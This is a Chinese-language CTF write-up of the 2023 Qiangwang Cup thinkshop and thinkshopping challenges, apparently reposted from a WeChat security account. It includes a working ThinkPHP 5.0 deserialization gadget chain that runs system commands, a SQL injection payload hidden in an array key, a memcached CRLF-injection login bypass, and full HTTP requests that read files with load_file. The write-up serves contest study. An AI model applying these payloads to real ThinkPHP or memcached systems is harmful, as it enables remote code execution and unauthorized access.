前言
“大头SEC”公众号专注于CTF、AWD、AWD Plus、RDG等竞赛题目复现。
在“大头SEC”公众号正式开始运营以前,“CTF复现计划”已经运营了一段时间,“CTF复现计划”旨在解决各位CTFer在赛后因平台关闭导致无法复现的问题。截止10月18日,“CTF复现计划”已经在语雀公开分享20余个复现环境,30余篇WriteUp。(“CTF复现计划”语雀直达链接:https://www.yuque.com/dat0u/ctf)
而在“大头SEC”公众号中会分享“CTF复现计划”中相对精彩的竞赛题目,同样也提供复现环境及WriteUp。
题目信息
本题涉及知识点:ThinkPHP代码审计、Memcached、ThinkPHP v5.0反序列化链
- • 题目类型:CTF
- • 题目名称:2023强网杯初赛 thinkshop[ping]
- • 题目镜像:附件内,自行搭建
- • 内部端口:80
- • 题目附件:6ZO+5o6lOiBodHRwczovL3Bhbi5iYWlkdS5jb20vcy8xdkZHcTl1VG14NzR1TUZudEMwX3lSQT9wd2Q9ZmxhZyDmj5Dlj5bnoIE6IGZsYWc=(自行Base64解码)
启动脚本
下载附件后,阅读附件里的README.txt:
thinkshop:
docker load < thinkshop.tar
docker run -tid --name thinkshop -p 36000:80 -e FLAG=flag{test_flag} thinkshop
thinkshopping:
docker load < thinkshopping.tar
docker run -tid --name thinkshop -p 36001:80 -e FLAG=flag{test_flag} 镜像ID
用goods_edit.html文件替换镜像中的/var/www/html/application/index/view/admin/goods_edit.html
WriteUp
thinkshop
先看第一个题,文件结构如下:
题目给了容器,可以看看容器是怎么启动的,启动apache2和mysql都是常规操作,注意最后一行,在11211端口启动了memcached(当然,第一题和memcached没有半毛钱关系,一开始就在看memcached的CRLF,直到第一晚的后半夜这题被打烂了,才开始换思路)
再看看执行的shop.sql和goods.sql,其中shop.sql中插入了一条admin的数据,密码为e10打头MD5加密值(一眼就是123456)
其中Admin.php下的方法路由,除了login和register之外都需要鉴权,核心的查询语句如下:
- • 从admin表里查询数据,将密码做md5之后做比对,比对成功之后鉴权成功
这时候,大多数人应该都是直接输入admin、admin,但是显示登录失败(怀疑人生了几个小时) 这里登录失败的原因是,传入的username直接放到了find方法的参数中,一般来说,如果需要限制查询条件,会放在where方法里边,而find()一般都是放在最后,处于无参状态。但是这里既然有参,就肯定能用,在find有参数的情况下,默认会去找数据表中的主键列,所以这里使用1、123456登录到后台即可。
到了后台,就该思考如何rce了,看到good_edit.html页中,会对数据库中的data列做反序列化
由于使用了ThinkPHP 5.0的框架,所以可以用该框架下的链实现反序列化RCE,那接下来要做的就是想办法控制数据库中的数据
在Admin.php的do_edit方法中,会将POST体里的所有数据交给saveGoods处理
再交给save方法处理,注意:这个过程中,$data这个数组都是完全可控的
由于数组可控,所以数组的键和值都是完全可控的,在updatedata中,$key这个地方没有做过滤,所以在这个地方会造成SQL注入
注入的payload就是下方这样,注意传参的时候,给=符号做url编码,由于参数名带有空格,会被PHP解析为下划线,所以用/**/绕过一下即可
data`%3Dunhex('这里填十六进制数据')/**/where/**/id%3D1/**/or/**/6%3D6#=1&id=1&name=a&price=100.00&image=1&data=
而十六进制数据处就找一条ThinkPHP 5.0的链子改改就行
<?php
namespace
thinkprocesspipes{
use thinkmodelPivot;
ini_set(
'display_errors'
,
1
);
class
Windows
{
private
$files
= [];
public
function
__construct(
$function
,
$parameter
)
{
$this
->files = [
new
Pivot(
$function
,
$parameter
)];
}
}
$a
=
array
(
new
Windows(
'system'
,
'cat /*'
));
echo
bin2hex(base64_encode(serialize(
$a
)));
}
namespace
think{
abstract class Model
{}
}
namespace thinkmodel{
use thinkModel;
use
thinkconsoleOutput;
class
Pivot
extends
Model
{
protected
$append
= [];
protected
$error
;
public
$parent
;
public
function
__construct(
$function
,
$parameter
)
{
$this
->append[
'jelly'
] =
'getError'
;
$this
->error =
new
relationBelongsTo(
$function
,
$parameter
);
$this
->
parent
=
new
Output(
$function
,
$parameter
);
}
}
abstract
class
Relation
{}
}
namespace
thinkmodelrelation{
use thinkdbQuery;
use
thinkmodelRelation;
abstract
class
OneToOne
extends
Relation
{}
class
BelongsTo
extends
OneToOne
{
protected
$selfRelation
;
protected
$query
;
protected
$bindAttr
= [];
public
function
__construct(
$function
,
$parameter
)
{
$this
->selfRelation =
false
;
$this
->query =
new
Query(
$function
,
$parameter
);
$this
->bindAttr = [
''
];
}
}
}
namespace
thinkdb{
use thinkconsoleOutput;
class
Query
{
protected
$model
;
public
function
__construct(
$function
,
$parameter
)
{
$this
->model =
new
Output(
$function
,
$parameter
);
}
}
}
namespace
thinkconsole{
use thinksessiondriverMemcache;
class
Output
{
protected
$styles
= [];
private
$handle
;
public
function
__construct(
$function
,
$parameter
)
{
$this
->styles = [
'getAttr'
];
$this
->handle =
new
Memcache(
$function
,
$parameter
);
}
}
}
namespace
thinksessiondriver{
use thinkcachedriverMemcached;
class
Memcache
{
protected
$handler
=
null
;
protected
$config
= [
'expire'
=>
''
,
'session_name'
=>
''
,
];
public
function
__construct(
$function
,
$parameter
)
{
$this
->handler =
new
Memcached(
$function
,
$parameter
);
}
}
}
namespace
thinkcachedriver{
use thinkRequest;
class
Memcached
{
protected
$handler
;
protected
$options
= [];
protected
$tag
;
public
function
__construct(
$function
,
$parameter
)
{
// pop链中需要prefix存在,否则报错
$this
->options = [
'prefix'
=>
'jelly/'
];
$this
->tag =
true
;
$this
->handler =
new
Request(
$function
,
$parameter
);
}
}
}
namespace
think{
class Request
{
protected $get = [];
protected
$filter
;
public
function
__construct(
$function
,
$parameter
)
{
$this
->filter =
$function
;
$this
->get = [
"jelly"
=>
$parameter
];
}
}
}
由于数据包太长了,这里就不贴在文内了。
thinkshopping
第二天又上了thinkshopping这一题,和前一题主要的区别是goods_edit.html中的反序列化入口被删了
还有admin表中的内容被清空了,没有1、admin、e10adc3949ba59abbe56e057f20f883e这条数据了
更重要的是,secure_file_priv的值为空了
而前一题还是有值的
当然,前一题的SQL注入点依然存在,不过依然需要鉴权进入后台,这意味着,只需要我们能进入后台,就能通过load_file的方式读取flag。
那么,如何进入到后台呢?前面提到,容器在启动的时候使用了memcached,但是在前一题中并没有用到
并且启动了memcached后,ThinkPHP中也配置了cache使用memcached做缓存
而在登录时,使用了cache先获取缓存
跟进一下find逻辑,由于出题人配置了cache,所以会将数据缓存到memcached中,这里的缓存的key格式为:think:shop.admin|username
那么如何控制缓存的值呢?memcached存在CRLF注入漏洞,具体可参考下方文章:
- • https://www.freebuf.com/vuls/328384.html
简单来说,就是能set任意的值,例如下方的payload,就能注入一个snowwolf的键,且值为wolf,4代表数据长度
TOKEN%00%0D%0Aset%20snowwolf%200%20500%204%0D%0Awolf
等价于
set snowwolf 0 500 4
wolf
那么我们需要注入一个怎么样的数据呢?我们可以看一下存储之后的数据是长什么样的,将下面的内容添加到路由,然后访问执行
public
function
test(){
$result
= Db::query(
"select * from admin where id=1"
);
var_dump(
$result
);
$a
=
"think:shop.admin|admin"
;
Cache::set(
$a
,
$result
,
3600
);
}
查看memcached中的值,长得像个序列化字符串
telnet 127.0.0.1 11211
get think:shop.admin|admin
a:1:{i:0;a:3:{s:2:"id";i:1;s:8:"username";s:5:"admin";s:8:"password";s:32:"21232f297a57a5a743894a0e4a801fc3";}}
这里有个坑点,就是memcached本身是没有数据类型的,只有key-value的概念,存放的都是字符串,但是PHP编程语言给它给予了数据类型的概念(当flags为0为字符串,当flags4为数组等等),我们看一下memcached的set命令格式:
上图中的红色箭头所指向的4,就是下方的flags位置,也就是说,在PHP中,flags为4的缓存数据,被当做数组使用
set key flags exptime bytes [noreply]
value
所以我们在构造CRLF注入的命令时,需要注意在set时,把flags设置为4
POST
/public/index.php/index/admin/do_login.html
HTTP/1.1
Host
: eci-2ze7q6gtt4a3a07rywcf.cloudeci1.ichunqiu.com
Content-Type
: application/x-www-form-urlencoded
Cookie
: PHPSESSID=korn6f9clt7oere36ke7pj7m70
username
=admin%
00
%
0
D%
0
Aset%
20
think%
3
Ashop.admin%
7
Cadmin%
204
%
20500
%
20101
%
0
D%
0
Aa%
3
A3%
3
A%
7
Bs%
3
A2%
3
A%
22
id%
22
%
3
Bi%
3
A1%
3
Bs%
3
A8%
3
A%
22
username%
22
%
3
Bs%
3
A5%
3
A%
22
admin%
22
%
3
Bs%
3
A8%
3
A%
22
password%
22
%
3
Bs%
3
A32%
3
A%
2221232
f297a57a5a743894a0e4a801fc3%
22
%
3
B%
7
D&password=admin
再用admin、admin去登录即可,登录到后台之后,再带上session去load_file读flag即可
POST
/public/index.php/index/admin/do_edit.html
HTTP/1.1
Host
: eci-2ze7q6gtt4a3a07rywcf.cloudeci1.ichunqiu.com
Content-Length
: 183
Content-Type
: application/x-www-form-urlencoded
Cookie
: PHPSESSID=korn6f9clt7oere36ke7pj7m70
data
`%
3
Dunhex('')/**/,`name`%
3
Dload_file('/fffflllaaaagggg')/**/where/**/id%
3
D1/**/or/**/
1
%
3
D1#=
1
&id=
1
&name=a&price=
100
.
00
&on_sale_time=
2023
-
05
-
05
T02%
3
A20%
3
A54&image=
1
&data=%
27
%
0
D%
0
Aa
写的比较仓促,如有错误,欢迎指出。
原文始发于微信公众号(Dest0g3 Team):[CTF复现计划]2023强网杯初赛 thinkshop[ping]
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论